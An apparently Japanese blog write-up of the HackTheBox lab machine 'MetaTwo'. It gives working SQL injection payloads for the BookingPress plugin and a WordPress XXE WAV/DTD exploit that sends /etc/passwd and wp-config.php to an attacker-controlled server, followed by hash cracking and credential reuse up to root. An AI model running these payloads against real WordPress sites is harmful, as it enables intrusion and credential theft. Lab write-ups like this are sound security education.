HackTheBox MetaTwo WriteUp

今回の記事はHackTheBoxのEasyマシン「MetaTwo」のWriteUpです！
MetaTwoが何を表しているのか分かりませんが、どのようなマシンなのか楽しみです！
![スクリーンショット 2023-05-15 102648.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d9ab5c1b-963c-f3ee-3b8a-7b072ed41810.png)
評価は4.6と高めですね。しかし、グラフはEasyらしくない形をしています。。。。が、頑張りましょう！

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## MetaTwo

### 侵入

それでは攻略を開始しましょう。
いつものようにポートスキャンから始めます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.186 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
|   256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_  256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
```
21番、22番、80番を確認しました。
FTPポートが開いていたので、匿名ログインができないか試してみます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ ftp 10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (10.10.11.186:kali): anonymous
331 Password required for anonymous
Password: 
530 Login incorrect.
```
パスワードが求められたので、匿名ログインはできないようです。

では、80番を調査していきます。
![スクリーンショット 2023-05-10 111558.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/caac5032-88e1-d863-0b66-c27a0b3039f3.png)
イベントを公開するサイトのようですが、まだ公開前のようです。
今回は、WordPressが使用されているので、wpscanが使えます。
wpscanを実行するには、下記のサイトに登録後、トークンを取得する必要があります。

https://wpscan.com

トークンが取得できたら、実行していきましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ wpscan --url http://metapress.htb --api-token [token] --enumerate p,u --plugins-detection aggressive | tee wpscan.log
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | _ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
 | Found By: Rss Generator (Passive Detection)
 |  - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
 |  - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
 |
 | [!] 29 vulnerabilities identified:
 |
 | [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
 |     Fixed in: 5.6.3
 |     References:
 |      - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
 |      - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
 |      - https://core.trac.wordpress.org/changeset/29378
 |      - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
 |      - https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
 |      - https://hackerone.com/reports/1095645
 |      - https://www.youtube.com/watch?v=3NBxcmqCgt4

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1
 |  Rss Generator (Aggressive Detection)
 |  Author Sitemap (Aggressive Detection)
 |   - http://metapress.htb/wp-sitemap-users-1.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] manager
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```
実行結果を見たところ、ファイルアップロードの脆弱性を確認しましたが、この脆弱性は認証済みでないと有効ではないので今は置いておきます。
他には、adminやmanagerというユーザの存在を確認することが出来ましたが、今すぐ使える脆弱性情報などは見つかりませんでした。

気を取り直していつもの列挙を再開します。
トップページにeventsへのリンクがあったのでアクセスしてみましょう。
![スクリーンショット 2023-05-10 112913.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/88bbfeef-2dfe-aae4-8cdc-0ead71df8809.png)
サービスを選択（今は一つしかないようですが）できる画面に遷移しました。
色々と画面を動かしてみましたが、特に怪しい動きは見られません。

### CVE-2022-0739

リクエストの中に手がかりがないかどうか、BurpSuiteで確認してみます。
```html
<link rel='stylesheet' id='bookingpress_front_css-css'  href='http://metapress.htb/wp-
content/plugins/bookingpress-appointment-booking/css/bookingpress_front.css?ver=1.0.10' media='all' />
```
eventsへリクエストを送信した際のレスポンスに、bookingpressのバージョンを発見しました。
WordPressはプラグインが脆弱であることが多いので、念入りに調査します。
Googleでバージョンが脆弱でないかどうか検索してみると、下の記事がヒットしました。

https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

どうやら、SQLインジェクションに対して脆弱であるようです。
記事の中で証明として下記の手順が記載されているので、それに従ってSQLインジェクションを発火させていきましょう。
```
- Create a new "category" and associate it with a new "service" via the BookingPress admin menu (/wp-admin/admin.php?page=bookingpress_services)
- Create a new page with the "[bookingpress_form]" shortcode embedded (the "BookingPress Step-by-step Wizard Form")
- Visit the just created page as an unauthenticated user and extract the "nonce" (view source -> search for "action:'bookingpress_front_get_category_services'")
- Invoke the following curl command
```
手順の中の1番目と2番目は構築の段階で完了しているので、3番目のnonceを抽出するところから始めます。
BurpSuiteの同じレスポンス内で「nonce」と検索します。
```javascript
var postData = { action:'bookingpress_generate_spam_captcha', _wpnonce:'0005370085' };
```
これで3番目の手順は完了です。
あとはcurlを実行するだけです。
記事の中では以下のコマンドが例として挙げられていました。
```bash
curl -i 'https://example.com/wp-admin/admin-ajax.php' \
  --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
```
変更が必要な部分を変更し、実行していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \                             
> --data 'action=bookingpress_front_get_category_services&_wpnonce=0005370085&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Wed, 10 May 2023 03:00:26 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin

[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
```
バージョンが出力されていることなどから、SQLインジェクションが発火したことが分かります！
sqlmapを実行するために、リクエストファイルを作成しましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ cat sql.req                                  
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: curl/7.85.0
Accept: */*
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
Connection: close

action=bookingpress_front_get_category_services&_wpnonce=0005370085&category_id=33&total_service=1
```
リクエストファイルが作成できたら、sqlmapを実行していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ sqlmap -r sql.req -p total_service --dbs
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|`   https://sqlmap.org

available databases [2]:
[*] blog
[*] information_schema
```
blogという名前のデータベースを発見しました。
テーブルも見てみましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ sqlmap -r sql.req -p total_service -D blog --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.2#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|'   https://sqlmap.org

Database: blog
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories           |
  ・・・　　　　　　　　　　　　　　　　　
| wp_terms                             |
| wp_usermeta                          |
| wp_users                             |
+--------------------------------------+
```
いくつかテーブルが出力されましたが、wp_usersテーブルが一番気になりますね。
テーブル内を検索します。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ sqlmap -r sql.req -p total_service -D blog -T wp_users --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.2#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|'   https://sqlmap.org

Database: blog
Table: wp_users
[2 entries]
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url             | user_pass                          | user_email            | user_login | user_status | display_name | user_nicename | user_registered     | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1  | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb   | admin      | 0           | admin        | admin         | 2022-06-23 17:58:28 | <blank>             |
| 2  | <blank>              | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager    | 0           | manager      | manager       | 2022-06-23 18:07:55 | <blank>             |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
```
ハッシュ化されていますが、adminとmanagerのパスワードを発見しました。
解読できるかjohnを試してみます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt manager.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (?)     
1g 0:00:00:10 DONE (2023-05-10 13:26) 0.09363g/s 10337p/s 10337c/s 10337C/s poochini..onelove7
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
```
managerのパスワードを解凍することが出来ました！
SSHおよびFTPで使えるか試してみましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ ssh manager@10.10.11.186                        
The authenticity of host '10.10.11.186 (10.10.11.186)' can't be established'.
ED25519 key fingerprint is SHA256:0PexEedxcuaYF8COLPS2yzCpWaxg8+gsT1BRIpx/OSY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.186' (ED25519) to the list of known hosts.
manager@10.10.11.186s password: 
Permission denied, please try again.
```
SSHへのログインはできません。
FTPはどうでしょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ ftp 10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (10.10.11.186:kali): manager
331 Password required for manager
Password: 
530 Login incorrect.
ftp: Login failed
```
FTPのログインもできませんでした。
残すところはWordPressのログインのみです。wp-adminにアクセスし、ログインしましょう。
![スクリーンショット 2023-05-10 133823.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/cf0fcbc2-0d44-bb7b-deb1-a36876eb6ed1.png)
ユーザ名は「manager」、パスワードは先ほど取得したもの入力することで
![スクリーンショット 2023-05-10 133736.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/46937088-52d2-ba93-11b0-6cfc9aeebae5.png)
ログインできました。
ここから侵入を目指しますが、ダッシュボードへログインできたので、あの機能を悪用できるかもしれません。
![スクリーンショット 2023-05-10 134143.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9527310b-ea9f-d6d6-117e-347fc2d8c36f.png)
そうです！ファイルアップロードの脆弱性です！
CVE番号は2021-29447なので、Googleで詳細を見てみると、検証の手順が紹介されていました。

https://blog.motikan2010.com/entry/WordPress%E3%81%AEXXE%28CVE-2021-29447%29%E3%82%84%E3%82%8B

手順に従って脆弱性を発火させていきましょう。
まずは、WAVファイルを作成します。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.8:3333/xxe.dtd'"'"'>%remote;%init;%trick;]>\x00' > xxe.wav
```
WAVファイルを作成出来たら、それに対応するdtdファイルを作成します。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ cat xxe.dtd    
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:3333/?p=%file;'>" >
```
このdtdファイルはresourceで指定したファイルの内容を「file」という変数に格納し、立ち上げたサーバへパラメータとしてリクエストを送るというものです。
ここまで作成できたので、PHPでサーバを立ち上げます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ php -S 0.0.0.0:3333
[Wed May 10 13:58:10 2023] PHP 8.2.2 Development Server (http://0.0.0.0:3333) started
```
立ち上げまでできたら、実際にファイルをアップロードします。
今回は、passwdファイルの出力を目指しています。
![スクリーンショット 2023-05-10 135957.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2220a7e5-ba29-6c01-7fd8-9af802f0bb80.png)
アップロードが完了したので、立ち上げたサーバを見てみます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ php -S 0.0.0.0:3333
[Wed May 10 13:58:10 2023] PHP 8.2.2 Development Server (http://0.0.0.0:3333) started
[Wed May 10 13:59:42 2023] 10.10.11.186:41470 Accepted
[Wed May 10 13:59:42 2023] 10.10.11.186:41470 [200]: GET /xxe.dtd
[Wed May 10 13:59:42 2023] 10.10.11.186:41470 Closing
[Wed May 10 13:59:43 2023] 10.10.11.186:41480 Accepted
[Wed May 10 13:59:43 2023] 10.10.11.186:41480 [404]: GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFz
aApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zY
mluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYm
luL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9
jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFp
bDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgaW4vbm9sb2dpbgo= - No such file or directory
```
出力は少し削っていますが、base64 encodeされた文字列が返ってきました。
文字列をデコードしてみます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ python3                                                                         
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> print(base64.b64decode(b'[base64 str]').decode())
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
```
passwdファイルを出力させることに成功しました！
次にSSHファイルを出力させたかったのですが、失敗してしまいました。
他に認証情報に近づくことができるとすれば、wp-config.phpです。多くの場合パスワードが記述されていることが多いです。
しかし、ファイル構成がわからないのでどこにパスがあるか分かりません。
ファイル構成を調べるために、nginxの設定ファイルを出力させてみます。
dtdファイルを以下のように変更します。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ cat xxe.dtd                
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/nginx.conf">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:3333/?p=%file;'>" >
```
変更したら、同じようにファイルをアップロードし、出力されたbase64の文字列をデコードします。
色々と出力されますが、今回知りたいのはファイル構造です。
よって、以下の行に注目します。
```
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
```
sites-enabledは、有効になっているサイトを見ることができます。
もう一度、dtdファイルを変更しましょう。パスの最後はdefaultを指定します。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ cat xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:3333/?p=%file;'>" >
```
変更できたら、再度同じようにファイルをアップロードし、出力をデコードします。
```
server {
	listen 80;
	listen [::]:80;
	root /var/www/metapress.htb/blog;
	index index.php index.html;
        if ($http_host != "metapress.htb") {
            rewrite ^ http://metapress.htb/;
        }
	location / {
		try_files $uri $uri/ /index.php?$args;
	}
	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
		fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
	}
	location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
		expires max;
		log_not_found off;
	}
}
```
rootのパスを確認できました！
これにより、wp-config.phpを指定することができます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ cat xxe.dtd 
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:3333/?p=%file;'>" >
```
こちらも同じようにアップロードし、デコードします。
```php
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
```
出力は長いので省略していますが、FTPのパスワードを発見しました！
### FTP

では実際にログインしていきましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ ftp 10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (10.10.11.186:kali): metapress.htb
331 Password required for metapress.htb
Password: 
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||48000|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5  2022 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5  2022 mailer
226 Transfer complete
```
ログインに成功しました！

blog以外のディレクトリとして、「mailer」というディレクトリがありますね。
内容を見てみます。
```bash
ftp> cd mailer
250 CWD command successful
ftp> ls -la
229 Entering Extended Passive Mode (|||2940|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5  2022 .
drwxr-xr-x   4 0        metapress.htb     4096 Oct  5  2022 ..
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5  2022 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22  2022 send_email.php
226 Transfer complete
```
新たなPHPファイルを発見しました。
ダウンロードしてみましょう。ダウンロードには、getを使用します。
```bash
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||60049|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |************************************************************************|  1126        5.89 MiB/s    00:00 ETA
226 Transfer complete
1126 bytes received in 00:00 (6.57 KiB/s)
ftp> exit
221 Goodbye.
```
ダウンロードできたので、コードを確認していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ cat send_email.php                           
<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;
```
コードの真ん中あたりにメールアドレスとパスワードを発見しました。

## jnelsonとしてのシェル
先ほど見つけたパスワードをSSHで使用してみます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ ssh jnelson@10.10.11.186         
jnelson@10.10.11.186s password: 
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$ whoami
jnelson
```
やっとシェルを取得することが出来ました！
```bash
jnelson@meta2:~$ ls -l
total 4
-rw-r----- 1 root jnelson 33 May 10 03:07 user.txt
```
フラグも取得することができます。

### 権限昇格
まずは、お決まりのsudo -lから実行していきます。
```bash
jnelson@meta2:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for jnelson: 
Sorry, user jnelson may not run sudo on meta2.
```
どうやらsudoは実行できないようです。
では、もう一度ホームディレクトリを見てみましょう。
```bash
jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25  2022 .
drwxr-xr-x 3 root    root    4096 Oct  5  2022 ..
lrwxrwxrwx 1 root    root       9 Jun 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson  220 Jun 26  2022 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26  2022 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25  2022 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25  2022 .passpie
-rw-r--r-- 1 jnelson jnelson  807 Jun 26  2022 .profile
-rw-r----- 1 root    jnelson   33 May 10 03:07 user.txt
```
passpieを発見しました。
これは、pythonベースのパスワードマネージャーです。
```bash
jnelson@meta2:~/.passpie/ssh$ cat root.pass
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: 
'-----BEGIN PGP MESSAGE-----
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
lpF0RatbxQGWBks5F3o=
=uh1B
-----END PGP MESSAGE-----'
```
ディレクトリを探索していくと、rootのPGP MESSAGEも確認できました。
```bash
jnelson@meta2:~/.passpie$ cat .keys
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
```
さらにキーも確認しています。johnで解読することで、パスワードを取得できそうです。
解読するために、scpを実行しkali側にダウンロードしましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ scp jnelson@10.10.11.186:./.passpie/.keys keys   
jnelson@10.10.11.186s password: 
```
まずは、対応する形式に変換する必要があります。
そのまま変換しようとすると下記のエラーが出てしまいます。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ gpg2john keys > pgp.john                                                                               
File keys
Error: Ensure that the input file keys contains a single private key only.
Error: No hash was generated for keys, ensure that the input file contains a single private key only.
```
PUBLIC BLOCKを削除し、PRIVATE BLOCKのみを変換対象とすることで正常に動くようになります。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ gpg2john keys > pgp.john                          
File keys
```
正常に実行が終了したら、解読を開始します。
```bash
┌──(kali㉿kali)-[~/Desktop/MetaTwo]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt pgp.john                       
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182         (Passpie)     
1g 0:00:00:14 DONE (2023-05-10 15:37) 0.06868g/s 11.26p/s 11.26c/s 11.26C/s ginger..blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```
解読が成功しました！
passpieで使用してみましょう。

## rootとしてのシェル
パスワードの使用方法ですが、まずは空のファイルを作成します。
```bash
jnelson@meta2:~$ touch pass
```
次に、passpieをエクスポートします。その時に解読したパスワードを入力し、出力先に作成した空のファイルを指定します。
```bash
jnelson@meta2:~$ passpie export pass
Passphrase:
```
ここまで実行できたら、ファイルにうまく出力できているかを確認します。
```bash
jnelson@meta2:~$ cat pass
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
```
rootのパスワードが平文で出力されています！
suでrootとしてログインしましょう。
```bash
jnelson@meta2:~$ su root
Password: 
root@meta2:/home/jnelson# whoami
root
```
権限昇格に成功しました！
```bash
root@meta2:~# ls -l
total 8
drwxr-xr-x 2 root root 4096 Oct  5  2022 restore
-rw-r----- 1 root root   33 May 10 03:07 root.txt
```
フラグも無事取得できます！
これで攻略完了です！

### 攻略を終えて

今回のボックスはとにかくボリュームが凄かったです。Easyとは思えないほどの列挙の多さでした。見つけたパスワードがなかなかSSHログインで使えないので精神面との勝負でもありました笑
難しいマシンではありましたが、内容的には面白く、かなりいい勉強となりました。特に、CVE-2021-29447でのWAVファイルを使用したペンテストは初めての経験だったので苦労しながらも驚きと楽しさがありました。
今回はバージョン管理の不備から始まりました。現実世界でもバージョン管理の不備による障害は多く発生しているので、改めて重要視しなければならない問題だなと思います。
今後もHTBのWriteUpを投稿していきますので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました！！